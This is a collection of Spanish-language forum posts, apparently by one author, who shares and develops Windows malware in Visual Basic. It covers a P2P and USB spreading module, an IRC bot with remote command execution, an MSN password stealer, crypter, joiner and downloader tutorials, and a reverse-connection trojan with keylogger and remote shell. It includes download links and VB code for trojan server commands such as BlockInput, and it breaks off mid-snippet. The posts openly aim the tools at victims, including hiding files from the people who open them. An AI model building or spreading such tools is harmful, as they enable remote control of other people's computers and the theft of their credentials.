3- Y lo último y mejor... Obtiene los nombres del TOP de 100 Softwares y 100 Juegos más descargados de Thepiratebay y se autocopia con los mismos a las todas las carpetas P2P , si existe el archivo no se copia pero sino pasa algo como esto :





Jaja bonito no...

Y ya al final por aburrimiento le puse un addon para añadirse a las entradas del registro para que quedara algo asi :



..... Pués nada chicos este modulo de spread me ha costado algo de trabajo.. ahora si que no se pueden quejar porque no tienen para propagar su server por todas las redes de internet jeje ... Saludos a todos

Link de descarga : http://exponelo.com/files/QRBIPGCB/iSpread.rar

Bueno chicos como siempre este es el último proyecto que voy a hacer hasta septiembre que me reintegro pero bueno ya que al parecer a muchos le gustan los bots y esas cosas me he entretenido en hacerles alguna cosita...Estaba pensando en hacer un videotutorial pero creí que esta era la mejor forma ya que un tuto me tomaria mucho tiempo y asi es más fácil y ustedes no pasan trabajo...Bueno sin más rollos se trata de un Bot IRC con el cual ustedes interactuan y dependiendo de los comandos que ustedes seleccionen hace lo que desee... Es algo básico ya que lo hice algo rapido.. Todas las Fuckings lineas estan comentadas pero a la mitad del code me cabrie y solo comente las necesarias :p.. No le puse DDOS porque estoy en contra del DDOS, tampoco le puse que se inicie con Windows porque es solo en modo de pruebas..Los comandos estan en inglés porque molan más que en español... aqui le dejo el pequeño listado de comandos..

Código [Seleccionar] Expandir

'**************************************************************************************
'
' 1º - .login <Usuario> <Contrseña> ' // Se loguea con el Usuario y Contraseña establecidos
' 2º - .logout ' // Si esta logueado sale de la session
' 3º - .who ' // Saber quien es el admin que esta activo
' 4º - .close ' // Cierra el bot
' 5º - .restart ' // Reinicia el bot
' 6º - .version ' // Obtiene la version del bot
' 7º - .getip ' // Obtiene la IP del Remoto
' 8º - .path ' // Obtiene la Ruta del Bot
' 9º - .join <#Canal> <Contraseña> ' // Cambia canal Actual
' 10º - .changenick ' // Cambia el Nick del Remoto
' 11º - .cmd <Comando> ' // Ejecuta un Comando CMD
' 12º - .run <Ruta del Archivo> ' // Ejecuta un programa
' 13º - .delete <Ruta del Archivo> ' // Elimina un archivo
' 14º - .getclip ' // Obtiene el texto del Portapapeles
' 15º - .setclip <Texto a poner> ' // Pone un Texto en el Portapapeles
' 16º - .surf <Web> ' // Navega en una web seleccionada
' 17º - .mkdir <Ruta> ' // Crea una carpeta
' 18º - .kill <Ruta> ' // Elimina una carpeta
' 19º - .msgbox, <Mensaje> , <Titulo> , <Tipo> ' // Muestra un msgbox... Cuidado tienen que respetar las comas
' 20º - .netinfo ' // Devuelve información de la conexión
' 21º - .secinfo ' // Devuelve informacioón de el Antivirus / Firewall etc
' 22º - .redirect <IP a Redireccionar> <Host> ' // Redirecciona un Host
' 23º - .usb.start ' // Inicia la propagación USB
' 24º - .usb.stop ' // Detiene la propagación USB
' 25º - .sleep <Segundos> ' // Detiene el programa durante la cantidad de segundos deseados
' 26º - .msn.status ' // Obtiene el estado del MSN
' 27º - .msn.email ' // Obtiene el Email del Remoto
' 28º - .msn.friendly ' // Obtiene el Nick del Remoto
' 29º - .msn.add <Email> ' // Añade un Contacto al MSN
'
'**************************************************************************************

Bueno nada es algo simple para que sepan más o menos de que va la cosa ...Saludos y espero que les guste como siempre  :bye:

DESCARGA : http://www.megaupload.com/?d=54GMJYQT

Bueno aqui les traido mi primero Crackme no tan dificil ni tampoco tan facil... Usa un pequeño algoritmo para crear una clave unica en cada PC asi que no tienen que buscar una clave en especifico ya que para cada PC la clave es diferente por lo que tendran que descifrar el algoritmo... haber si lo logran crackear.. Cuando lo crackeen dejen una imagen y traten de explicar el algoritmo

Scan : http://www.virustotal.com/es/analisis/ca92236148b2bfb5442eaf1e2636861205dc527572e1710dc130a370b7258917-1248612323

Descarga : http://www.megaupload.com/?d=PLOK3JA3

Bueno como les dije en la sección de foro abierto aqui les dejo el Source del Multi Account Checker... Disfrutenlo tanto como yo codeandolo   http://www.megaupload.com/?d=F0P1L96U

Bueno chicos hoy he estado todo el dia trabajando en tratar de pasar una Unit de Delphi a VB... La verdad que no se casi nada de Delphi pero es muy parecido a Visual Basic en algunas funciones por lo que me fue fácil pasar una Unit creada por Counterstrikew a VB, espero que les guste y si usan el modulo me pongan en el About ^^...

PD: Todas las lineas estan comentadas, no se puede ejecutar el archivo con VB , es necesario compilarlo

Link : http://www.megaupload.com/?d=BHD1DDQ4

Hola a todos aqui les traigo un pequeño pack de videotutoriales que eh ido desarrollando hace poco para ayudar a las personas que desean crear todo tipo de Malware... Antes que todo les digo para que no haya problemas como veces pasadas que es mejor que si van a hacer un mal comentario se lo reserven ya que me ah cosatado mucho trabajo la realización de estos videotutoriales para que después me esten diciendo que no son mios y cosas asi... Bueno aqui  les dejo los post originales...

1) Creación de Crypter Runtime (Visual Basic)

Bueno en este videotutorial prácticamente les explico desde 0 como crear su propio crypter Runtime en Microsoft Visual Basic 6.0 con la posibilidad de que no tengas que estar comprando más crypter de los cuales las personas que saben un poco o algo de programación se aprovechan y los venden (Como yo xD), bueno pero este esta muy bien explicado espero que les guste para ser mi primero videotutorial

URL : http://www.skyweb-productions.net/videotutoriales/runtime/Runtime.html

2) Creación de un MultiDownloader (Visual Basic)

En este nuevo tutorial se explica como crear un Multidownloader, ¿Qué es un Multidownloader? -- Pués es una herramienta con la cual la puedes configurar para que se descarguen automaticamente archivos desde una direccion determinada, siento estos archivos ejecutables / imagenes /,pero tambien pueden ser herramientas de administracion remota para que solo tengan que enviarle un archivo simple a la persona a la cual quieren hacerle algo y que lo habra y se descargue en el directorio seleccionado y luego se ejecute invisible!

URL : http://www.skyweb-productions.net/videotutoriales/multidownloader/MultiDownloader.html

3) Creación de un Troyano de conexión inversa simple!

En este tutorial les explico como crear un troyano simple de conexión inversa, pueden tomarlo como base para crear el propio suyo, en este ejemplo solo explique como enviar un simple mensaje de cliente a servidor y vicevesa pero es lo mismo para todo, es decir se usa la misma forma para enviar los procesos / archivos / mensajes etc. Solo que tienen que saber un poco de Visual Basic. Con conocimientos básicos lo pueden crear perfectamente, también creare otro pequeño tutorial para añadirle opciones al troyano pero esto será la próxima semana :p Saludos

URL : http://www.skyweb-productions.net/videotutoriales/troyano/Troyano.html

4) Creación de un Joiner Simple en Visual Basic

En este nuevo videotutorial se les explica de la manera más fácil y agadable como crear un Joiner que una infinitos archivos y que se pueda extraer o ejecutar directamente en Memoria... para ello haremos los mismos pasos que en la creación de un Crypter pero en este caso encriptaremos más de un archivo y también lo meteremos en el Stub pero delimitando cada archivo para luego poder separarlo y ejecutarlo o extraerlo.. Utilizamos cifrado DES pero ustedes pueden utilizar cualquiera que deseen, espero que les guste este nuevo videoutorial.

URL : http://www.skyweb-productions.net/videotutoriales/Joiner/Joiner.html

PD: Espero que les agrade estos tutoriales los cuales están muy bien explicados y no me queda nada más que decirle...Disfrutenlo y dejen comentarios!

Bueno la verdad es que necesitaba saber como podia poner una progressbar en un Listview..Hace mucho tiempo vi por el foro algo asi pero no lo encuentro y necesitaba haber si alguien me facilitaba alguna idea de como seria.Gracias!

Hola a toda la gente del foro,  bueno eh estado leyendo unos tutos de VB.NET y me salio este programita para que lo disfruten todos. Cualquier duda que tenga con el source me lo preguntan ok. Espero que les guste....Y Felices Navidades a todos!   



SOURCE + EXE : http://rapidshare.com/files/177572684/Christmas_Downloader_v1.0.rar

Jeje no se como empezar despues de todas las cosas que me han dicho en el post anterior que supuestamente no a sido programado por Mi pero bueno a mi me da igual lo que digan...

Bueno al caso, creo que recuerdan que yo estaba creando un troyano de conexión inversa y que puse unos screenhots aqui, si ya casi que lo termino pero al ver que la gente criticaba tanto lo posteado anteriormente y decian que yo lo único que hacia era copiar codes me cabrie y que manera más guay yo tengo de cabriarme fijense que hasta me dieron ganas de crear un demo de lo que vengo haciendo hace un tiempo demostrandoles que yo no copio que lo hago yo solito todo y que cuando tego dudas pregunto pero sin copiar de nadie...En este codigo del troyano no van a encontrar una sola linea que no haya sido escrita por mi exepto las que menciono en el code que no sabia como hacerlas....Bueno este code es una pequeña parte del Breaksoft original que no esta terminado ( Tiene muchas más cosas ej : Filemanager, Cam Y Screen Capture, Ver las Applicaciones Instaladas, Los servicios, Autocopiado USB, Windows Manager, Ver Muchisimos passwords, ver las cookies de moxilla firefox, HTTP Server, DOS Redirect, Keylogger, Bromas,Builder, Destruccion, etc pero todavia no lo voy a colgar hasta que lo termine!!

No se si me creeran o no (Me da igual) pero si encuentran 1 Linea de codigo que la hallan visto en algun otro source de troyano o en otra parte posteenla, (Que no sea las que yo mencione en el source)...Bueno ya me dejo de parloteo y les dejo unos screenhost y el Codigo!!

Opciones:



Informacion del sistema:



Ver Procesos activos y Matarlos!



MSN STATUS MANAGER:



CLIPBOARD MANAGER



PRINT MANAGER:



PASSWORDS :



OPCIONES DE INTERNET:



SCANNER DE PUERTOS :



SCRIPT MANAGER :



CHAT CON SERVER :



ENVIO DE MENSAJES:



REMOTE SHELL :



Bueno y aqui el link de descarga!!!!!

  :http://rapidshare.com/files/155289516/Demo_Breaksoft.rar

Bueno chicos como ayer les prometi aqui les traigo mi nueva creación se trata de un MSN Stealer que decripta los passwords del MSN y los envia por E-MAIL al destinatario deseado.....Bueno espero que les guste y dejen comentarios.....Aqui se los dejo!!!!! 

EDITO: Ahora es MSN Stealer con autocopiado USB Gracias al modulo de SMT : xD

http://rapidshare.com/files/154894970/MSN_STEALER.rar

Hey chicos aqui les dejo otra cosilla que hice en mi tiempo libre...Se trata de un Webcam Capture para sus Troyanos...Ahora si les dejo el code aqui...xD no deje el code del otro porque lo coplile directamente y se me olvido guardarlo jeje...xD Bueno sin más aqui esta !!!!! Cualquier duda pregunten!!!!!!

http://rapidshare.com/files/154702797/WEBCAM.rar


PD: A lo mejor mañana me animo y hago el screencapture xDDD

Código [Seleccionar] Expandir

Private Sub Hacked_Click()
MsgBox "Me eh dado cuenta que si quieres que las cosas te funcionen tienes que hacerlas por ti mismo", vbCritical, "ELHACKER.NET"
End Sub


[Descargar Copilado]

Hola chicos hoy estaba con algo de tiempo libre y me anime a hacer un Script Mnager para que puedan hacer sus script  .BAT o .VBS sin tener que utilizar Notepad y eso, bueno aqui se los dejo por si alguno lo quiere mirar...XD



Descargar Copilado http://rapidshare.com/files/154494274/Script_Manager_v1.0.exe

SOURCE: http://rapidshare.com/files/154743836/Script_Manager_By_C__P_R.rar




Ok Ya esta el source!!!!!!!!!!!!!!!!!     

Hola chicos, estaba tratando ponerle a un LV (Microsoft Windows Common Control 5.0) la opción de FullRowSelect pero veo que esta no trae esta opción y quiero ponersela a este ya que estoy usando el estilo XP y el LV del control Microsoft Windows Common Control 6.0 no acepta este estilo por lo que necesito ponerselo al listview, porfa necesito que me ayuden!! Gracias de antemano!!!!!!!!!!

Hola amigos tengo una dudilla, es algo como para darle un poco mas de estetica al troyano pero bueno haber si me pueden ayudar, bueno lo que yo quiero hacer es que cada vez que una victima se conecte al troyano agregue una imagen en el subitem 1 del listview es este caso el del nombre...Bueno si me pueden ayudar se los agradeceria...

Bueno chicos no se si se acordaran que hace poco yo me puse a hacer un troyano sin saber nada de VB, pues si no tenia ni idea de como se utilizaba ni el control Winsock, pero como a mi me gusta aprender asi a lo loco me puse un reto aprender visual basic y crearun troyano..Pues si ya casi esta solo le faltan algunos detalles importantes pero creo que dentro de poco van a conocer a esta nueva creación que estoy llevando a cabo gracias a ustedes...Una comunidad que siempre ah sabido apollarme aunque a veces yo sea un poco molesto y haga muchas preguntas...Pero como todo asi soy yo me gusta aprender y tratar de llegar lo más lejo posible...Bueno aqui les dejo algunos screenhots de como esta quedando el proyecto hasta ahora....

INTERFAZ GRAFICA



OPCIONES



ICONO EN EL SYSTRAY CON OPCIONES



OPCIONES DE INTERNET REMOTAS



KEYLOGGER REMOTO (ONLINE Y OFFLINE)



FILEMANAGER PROPORCIONADO POR EON (ESPERO NO ESTAR INCUMPLIENDO NINGUN DERECHO DE AUTOR NI NADA DE ESO)



ENVIO DE TODO TIPO DE MENSAJES



MANEJO DE CONTACTOS DEL MSN



ENVIO DE BATCH



CHAT CON SERVIDOR



REMOTE SHELL TOTALMENTE FUNCIONAL



MANEJO DE CLIPBOARD REMOTO



JOINER BY EON



PEQUEÑO CRYPTER PERO HACE MARAVILLAS



MUCHISIMAS BROMAS



TIENE UN INOTES PARA GUARDAR SUS NOTAS



ESTADISTICAS DE CONEXION



Bueno en total con todas estas opciones el cliente tiene un tamaño de 656kb y el server de 184 kb pero como ustedes pueden ver me faltan 8 opciones que para mi son muy importantes y quiero ponerselas antes de colgar el troyano..Las opciones que me faltan y que no se como hacerlas son .....

-Webcam Capture
-Screem Capture
-Procces Manager
-Editor de Registro Remoto
-Procces Manager
-Windows Manager
-Ver Password Remotos
-Editor de Server

Bueno chicos si alguien quiere ayudarme con las opciones que me faltan o simplemente hacerme sugerencias de que podria cambiar o agregar solo escribanmelo o envienme un MP que yo me pondre les respondere tan pronto lea el mensaje...A y no se olviden de dejar comentarios para ver que le parace mi Troyano.....Tambien necesito un Nombre...Estoy abierto a sugerencias!!!

Hola amigos tengo una duda que les queria comentar haber si me pueden ayudar el caso es que yo tengo hecho un server, pero el mismo necesita de una dll para realizar una acción determinada, pero como ustedes ya saben los server no pueden venir con dll apartes porque o si no se darian cuenta las personas que lo vallan a abrir, entonces lo que yo necesito es que ustedes me ayuden para hacer que la dll se adjunte al proyecto y que cuando habran el server esta se extraiga en la ruta del sistema...Ah eso sin usar ningun joiner solo que sea con VB...Gracias de antemano..Luego les enseño como esta quedando!!.XDDDDD

Hola amigos, tengo una duda soble el control de clase cJPG ya que ahora estoy hcaiendo el capture screem de mi troyano pero las imagenes son muy grandes y no tengo ni idea de como usar el control cJPEG para quitarle tamaño..Eh buscado en el foro y lo unico que veo de cJPEG son ejemplos que no me sirven asi que quisiera saber si me pueden explicar como se utiliza esta clase...Muchas Gracias..

Hola de nuevo chicos, pues hoy tengo un problema con un code y queria comentarselo para ver si me pueden ayudar bueno la cosa es que por ahi por internet navegando me encontre con un source que cuando das clic en un cierto boton el mismo te agrega el pais y la bandera a el listview, eso era lo que yo estaba buscando hace ya un tiempo miren aqui el code del modulo!

Código [Seleccionar] Expandir

Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long

Private Const LOCALE_SYSTEM_DEFAULT As Long = &H400
Private Const LOCALE_SENGCOUNTRY = &H1002

Public Function GetCountry() As String
Dim sName As String * 256, lBuffSize As Long

lBuffSize = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, ByVal sName, Len(sName))

GetCountry = Left(sName, lBuffSize - 1)

End Function

Public Function GetFlag(sCountry As String) As Integer

Select Case (sCountry)
    Case "Andorra":
        GetFlag = 1
    Case "United Arab Emirates":
        GetFlag = 2
    Case "Afghanistan":
        GetFlag = 3
    Case "Antigua and Barbuda":
        GetFlag = 4
    Case "Anguilla":
        GetFlag = 5
    Case "Albania":
        GetFlag = 6
    Case "Armenia":
        GetFlag = 7
    Case "Netherlands Antilles":
        GetFlag = 8
    Case "Angola":
        GetFlag = 9
    Case "Argentina":
        GetFlag = 10
    Case "American Samoa":
        GetFlag = 11
    Case "Austria":
        GetFlag = 12
    Case "Australia":
        GetFlag = 13
    Case "Aruba":
        GetFlag = 14
    Case "Åland Islands":
        GetFlag = 15
    Case "Azerbaijan":
        GetFlag = 16
    Case "Bosnia":
        GetFlag = 17
    Case "Herzegovina":
        GetFlag = 17
    Case "Barbados":
        GetFlag = 18
    Case "Bangladesh":
        GetFlag = 19
    Case "Belgium":
        GetFlag = 20
    Case "Burkina Faso":
        GetFlag = 21
    Case "Bulgaria":
        GetFlag = 22
    Case "Bahrain":
        GetFlag = 23
    Case "Burundi":
        GetFlag = 24
    Case "Benin":
        GetFlag = 25
    Case "Bermuda":
        GetFlag = 26
    Case "Brunei Darussalam":
        GetFlag = 27
    Case "Bolivia":
        GetFlag = 28
    Case "Brazil":
        GetFlag = 29
    Case "Bahamas":
        GetFlag = 30
    Case "Bhutan":
        GetFlag = 31
    Case "Bouvet Island":
        GetFlag = 32
    Case "Botswana":
        GetFlag = 33
    Case "Belarus":
        GetFlag = 34
    Case "Belize":
        GetFlag = 35
    Case "Canada":
        GetFlag = 36
    Case "Cocos (Keeling) Islands":
        GetFlag = 37
    Case "Congo, the Democratic Republic of the":
        GetFlag = 38
    Case "Central African Republic":
        GetFlag = 39
    Case "Congo":
        GetFlag = 40
    Case "Switzerland":
        GetFlag = 41
    Case "Côte d'Ivoire":
        GetFlag = 42
    Case "Cook Islands":
        GetFlag = 43
    Case "Chile":
        GetFlag = 44
    Case "Cameroon":
        GetFlag = 45
    Case "China":
        GetFlag = 46
    Case "Colombia":
        GetFlag = 47
    Case "Costa Rica":
        GetFlag = 48
    Case "Cuba":
        GetFlag = 49
    Case "Cape Verde":
        GetFlag = 50
    Case "Christmas Island":
        GetFlag = 51
    Case "Cyprus":
        GetFlag = 52
    Case "Czech Republic":
        GetFlag = 53
    Case "Germany":
        GetFlag = 54
    Case "Djibouti":
        GetFlag = 55
    Case "Denmark":
        GetFlag = 56
    Case "Dominica":
        GetFlag = 57
    Case "Dominican Republic":
        GetFlag = 58
    Case "Algeria":
        GetFlag = 59
    Case "Ecuador":
        GetFlag = 60
    Case "Estonia":
        GetFlag = 61
    Case "Egypt":
        GetFlag = 62
    Case "Western Sahara":
        GetFlag = 63
    Case "Eritrea":
        GetFlag = 64
    Case "Spain":
        GetFlag = 65
    Case "Ethiopia":
        GetFlag = 66
    Case "Finland":
        GetFlag = 67
    Case "Fiji":
        GetFlag = 68
    Case "Falkland Islands (Malvinas)":
        GetFlag = 69
    Case "Micronesia, Federated States of":
        GetFlag = 70
    Case "Faroe Islands":
        GetFlag = 71
    Case "France":
        GetFlag = 72
    Case "Gabon":
        GetFlag = 73
    Case "United Kingdom":
        GetFlag = 74
    Case "Grenada":
        GetFlag = 75
    Case "Georgia":
        GetFlag = 76
    Case "Guernsey":
        GetFlag = 77
    Case "Ghana":
        GetFlag = 78
    Case "Gibraltar":
        GetFlag = 79
    Case "Greenland":
        GetFlag = 80
    Case "Gambia":
        GetFlag = 81
    Case "Guinea":
        GetFlag = 82
    Case "Guadeloupe":
        GetFlag = 83
    Case "Equatorial Guinea":
        GetFlag = 84
    Case "Greece":
        GetFlag = 85
    Case "South Georgia and the South Sandwich Islands":
        GetFlag = 86
    Case "Guatemala":
        GetFlag = 87
    Case "Guam":
        GetFlag = 88
    Case "Guinea-Bissau":
        GetFlag = 89
    Case "Guyana":
        GetFlag = 90
    Case "Hong Kong":
        GetFlag = 91
    Case "Heard Island and McDonald Islands":
        GetFlag = 92
    Case "Honduras":
        GetFlag = 93
    Case "Croatia":
        GetFlag = 94
    Case "Haiti":
        GetFlag = 95
    Case "Hungary":
        GetFlag = 96
    Case "Indonesia":
        GetFlag = 97
    Case "Ireland":
        GetFlag = 98
    Case "Israel":
        GetFlag = 99
    Case "Isle of Man":
        GetFlag = 100
    Case "India":
        GetFlag = 101
    Case "British Indian Ocean Territory":
        GetFlag = 102
    Case "Iraq":
        GetFlag = 103
    Case "Iran, Islamic Republic of"
        GetFlag = 104
    Case "Iceland":
        GetFlag = 105
    Case "Italy":
        GetFlag = 106
    Case "Jersey":
        GetFlag = 107
    Case "Jamaica":
        GetFlag = 108
    Case "Jordan":
        GetFlag = 109
    Case "Japan":
        GetFlag = 110
    Case "Kenya":
        GetFlag = 111
    Case "Kyrgyzstan":
        GetFlag = 112
    Case "Cambodia":
        GetFlag = 113
    Case "Kiribati":
        GetFlag = 114
    Case "Comoros":
        GetFlag = 115
    Case "Saint Kitts and Nevis":
        GetFlag = 116
    Case "Korea, Democratic People's Republic of":
        GetFlag = 117
    Case "Korea, Republic of":
        GetFlag = 118
    Case "Kuwait":
        GetFlag = 119
    Case "Cayman Islands":
        GetFlag = 120
    Case "Kazakhstan":
        GetFlag = 121
    Case "Lao People's Democratic Republic":
        GetFlag = 122
    Case "Lebanon":
        GetFlag = 123
    Case "Saint Lucia":
        GetFlag = 124
    Case "Liechtenstein":
        GetFlag = 125
    Case "Sri Lanka":
        GetFlag = 126
    Case "Liberia":
        GetFlag = 127
    Case "Lesotho":
        GetFlag = 128
    Case "Lithuania":
        GetFlag = 129
    Case "Luxembourg":
        GetFlag = 130
    Case "Latvia":
        GetFlag = 131
    Case "Libyan Arab Jamahiriya":
        GetFlag = 132
    Case "Morocco":
        GetFlag = 133
    Case "Monaco":
        GetFlag = 134
    Case "Moldova, Republic of":
        GetFlag = 135
    Case "Montenegro":
        GetFlag = 136
    Case "Madagascar":
        GetFlag = 137
    Case "Marshall Islands":
        GetFlag = 138
    Case "Macedonia, the former Yugoslav Republic of":
        GetFlag = 139
    Case "Mali":
        GetFlag = 140
    Case "Myanmar":
        GetFlag = 141
    Case "Mongolia":
        GetFlag = 142
    Case "Macao":
        GetFlag = 143
    Case "Northern Mariana Islands":
        GetFlag = 144
    Case "Martinique":
        GetFlag = 145
    Case "Mauritania":
        GetFlag = 146
    Case "Montserrat":
        GetFlag = 147
    Case "Malta":
        GetFlag = 148
    Case "Mauritius":
        GetFlag = 149
    Case "Maldives":
        GetFlag = 150
    Case "Malawi":
        GetFlag = 151
    Case "Mexico":
        GetFlag = 152
    Case "Malaysia":
        GetFlag = 153
    Case "Mozambique":
        GetFlag = 154
    Case "Namibia":
        GetFlag = 155
    Case "New Caledonia":
        GetFlag = 156
    Case "Niger":
        GetFlag = 157
    Case "Norfolk Island":
        GetFlag = 158
    Case "Nigeria":
        GetFlag = 159
    Case "Nicaragua":
        GetFlag = 160
    Case "Netherlands":
        GetFlag = 162
    Case "Norway":
        GetFlag = 162
    Case "Nepal":
        GetFlag = 163
    Case "Nauru":
        GetFlag = 164
    Case "Niue":
        GetFlag = 165
    Case "New Zealand":
        GetFlag = 166
    Case "Oman":
        GetFlag = 167
    Case "Panama":
        GetFlag = 168
    Case "Peru":
        GetFlag = 169
    Case "French Polynesia":
        GetFlag = 170
    Case "Papua New Guinea":
        GetFlag = 171
    Case "Philippines":
        GetFlag = 172
    Case "Pakistan":
        GetFlag = 173
    Case "Poland":
        GetFlag = 174
    Case "Saint Pierre":
        GetFlag = 175
    Case "Miquelon":
        GetFlag = 175
    Case "Pitcairn":
        GetFlag = 176
    Case "Puerto Rico":
        GetFlag = 178
    Case "Palestinian Territory, Occupied":
        GetFlag = 178
    Case "Portugal":
        GetFlag = 179
    Case "Palau":
        GetFlag = 180
    Case "Paraguay":
        GetFlag = 181
    Case "Qatar":
        GetFlag = 182
    Case "Réunion":
        GetFlag = 183
    Case "Romania":
        GetFlag = 184
    Case "Serbia":
        GetFlag = 185
    Case "Russian Federation":
        GetFlag = 186
    Case "Rwanda":
        GetFlag = 187
    Case "Saudi Arabia":
        GetFlag = 188
    Case "Solomon Islands":
        GetFlag = 189
    Case "Seychelles":
        GetFlag = 190
    Case "Sudan":
        GetFlag = 191
    Case "Sweden":
        GetFlag = 192
    Case "Singapore":
        GetFlag = 193
    Case "Saint Helena":
        GetFlag = 194
    Case "Slovenia":
        GetFlag = 195
    Case "Svalbard":
        GetFlag = 196
    Case "Jan Mayen":
        GetFlag = 197
    Case "Slovakia":
        GetFlag = 198
    Case "Sierra Leone":
        GetFlag = 199
    Case "San Marino":
        GetFlag = 200
    Case "Senegal":
        GetFlag = 201
    Case "Somalia":
        GetFlag = 202
    Case "Suriname":
        GetFlag = 203
    Case "Sao Tome and Principe":
        GetFlag = 204
    Case "El Salvador":
        GetFlag = 205
    Case "Syrian Arab Republic":
        GetFlag = 206
    Case "Swaziland":
        GetFlag = 207
    Case "Turks":
        GetFlag = 208
    Case "Caicos Islands":
        GetFlag = 209
    Case "Chad":
        GetFlag = 210
    Case "French Southern Territories":
        GetFlag = 211
    Case "Togo":
        GetFlag = 212
    Case "Thailand":
        GetFlag = 213
    Case "Tajikistan":
        GetFlag = 214
    Case "Tokelau":
        GetFlag = 215
    Case "Timor-Leste":
        GetFlag = 216
    Case "Turkmenistan":
        GetFlag = 217
    Case "Tunisia":
        GetFlag = 218
    Case "Tonga":
        GetFlag = 219
    Case "Turkey":
        GetFlag = 220
    Case "Trinidad and Tobago":
        GetFlag = 221
    Case "Tuvalu":
        GetFlag = 222
    Case "Taiwan, Province of China":
        GetFlag = 223
    Case "Tanzania, United Republic of":
        GetFlag = 224
    Case "Ukraine":
        GetFlag = 225
    Case "Uganda":
        GetFlag = 226
    Case "United States Minor Outlying Islands":
        GetFlag = 227
    Case "United States":
        GetFlag = 228
    Case "Uruguay":
        GetFlag = 229
    Case "Uzbekistan":
        GetFlag = 230
    Case "Saint Vincent and the Grenadines":
        GetFlag = 231
    Case "Venezuela":
        GetFlag = 232
    Case "Virgin Islands, British":
        GetFlag = 233
    Case "Virgin Islands, U.S.":
        GetFlag = 234
    Case "Viet Nam":
        GetFlag = 235
    Case "Vanuatu":
        GetFlag = 236
    Case "Wallis and Futuna":
        GetFlag = 237
    Case "Samoa":
        GetFlag = 238
    Case "Yemen":
        GetFlag = 239
    Case "Mayotte":
        GetFlag = 240
    Case "South Africa":
        GetFlag = 241
    Case "Zambia":
        GetFlag = 242
    Case "Zimbabwe":
        GetFlag = 243
   
End Select
       
End Function






Y en el form principal hay un Form con un listview llamado lsFlags, tambien hay un boton que cuando das clic te agrega al listview el pais local y la bandera..

el code de este!

Código [Seleccionar] Expandir

Private Sub mnuGetFlag_Click()
    lsFlags.ListItems.Add , , GetCountry, , GetFlag(GetCountry)
End Sub


Pero eh aqui el problema ya que no se como hacer para implementarle esto a mi troyano...Como es que podria hacer para que en el DataArribal cuando alguien se conecte solo me agregue la bandera en el item # 1 en este caso al lado del nombre de la victima..
Ah se me olvidaba en el Form1 hay un imagelist1 que es el que contiene todas las banderas..Bueno amigos espero que me ayuden...Gracias!!!!

Hola amigos hoy estaba investigando por ahi y me encontre un code muy util para los troyanos ya que este lo que hace es sacar las contraseñas del registro..En este caso el msn y del no-ip y te las pone en un textbox...bueno el caso es que yo ya eh agregao todos los modulos y tal que lleva el soft y lo probe en el server y si me manda las contraseñas a unos textbox creados en el server...Pero aqui esta mi duda...¿como puedo hacer para que despues que las contraseñas del server remoto las ponga en el textbox me las envie a un textbox que yo tengo en mi cliente... Y como seria el codigo para enviar los datos (text) y para que cuano los reciba los ponga en el text box del cliente...Bueno eso es todo por ahora espero que me ayuden Gracias de antemano!!!!!!

Hola amigos miren tengo un problema ya que mi Trojan es parecido en el diseño y tal al bifrost pero como siempre hay un problema ya que mi trojan norman sin maximizar ni nada esta bien y es normal asi como sale en esta imagen!


Pero lo que pasa cuando la maximizo es esto!


Y yo no quiero que quede asi sino como esta en esta imagen!



Como podria hacerlo ?

Bueno sin más lo que quiero hace se los explico en la imagen espero que me ayuden!

Amigos tengo otra uda como es que yo puedo crear un remotehsell para mi troyano!!!!
Gracias de antemano!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Hola amigos tengo otra duda que no se como se hace..

Bueno el caso es que yo quiero que cuando yo le e clic para enviar el comando cerrar server este mismo en el case del server haga algo para que se quede como parado y que cuando yo vuelva a abrir el cliente este con algun comando se inicie de nuevo es como dejarlo parado hasta que se vuelva a iniciar de nuevo!!!!!

Hola amigos queria preguntarles como yo podria agregar las banderas de cada pais en el imagelist...Un ejemplo que un user que se conecte a mi troyano sea de Italia y cuando se conecte salga la bandera de Italia en un campo del List View en este caso en donde dice Flag.. Se que para ello necesito poner un imagelist y ahi agregarle las bandera esto ya lo eh hecho pero lo que no se es como poner el codigo para cuano sea de cada pais me le ponga su respectiva bandera en el campo flag...Bueno amigos espero que me ayude y gracias de antemano...

Código [Seleccionar] Expandir

Bueno amigos aqui les dejo algunas apis para sus troyanos y a la misma vez les explico como usarlas!!

Bueno implementar apis es facil lo unico que tienen que hacer para implementar una API a su troyano es crear  un command botton y ponerle el nombre que quieran EJ si quieren desaparecer el mouse del server lo que tienen qu hacer es agregar un modulo en el server y ahi ponerle esto ...




MODULO:
[code]Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long

EN el SERVER en la sección de Data arrival

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desp" then ShowCursor false
end sub


Y en el command button del cliente

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "desp"
End Sub

Y ya cuano ustedes presionaran el button de desaparecer el mouse el enviaria los datos al server y este mismo los ejecutaria!!!


Bueno aqui les dejo otros codes para que los implementeis!!!

Código [Seleccionar] Expandir

-----------------------blokear mouse i teclado----------------------
agregar un commandbutton en el cliente i un modulo en el server
-----en el modulo del server------

Public Declare Function BlockInput Lib "user32" _
(ByVal fBlock As Long) As Long

-----en el server------

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desa" then BlockInput true
end sub

-----en el cliente---

Private Sub Command1_Click()
ws.senddata "desa"
End Sub

Código [Seleccionar] Expandir

---------------------------------------hacer sonar beep ----------------

agregar un commandbutton en el cliente i un mopdulo en el server
-----en el modulo del server------

Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

------en el server---------

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "beep" then
Beep 999, 999
Beep 999, 999
end if
end sub

----3n 3l kl13nt3 xd-----
Private Sub Command1_Click()
ws.senddata "beep"
End Sub

Código [Seleccionar] Expandir

-----------------------------------------abrir cosita de los cd---------------------------

agregar un modulo en el server i un commandbutton en el cliente

-----en el modulo del server---
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
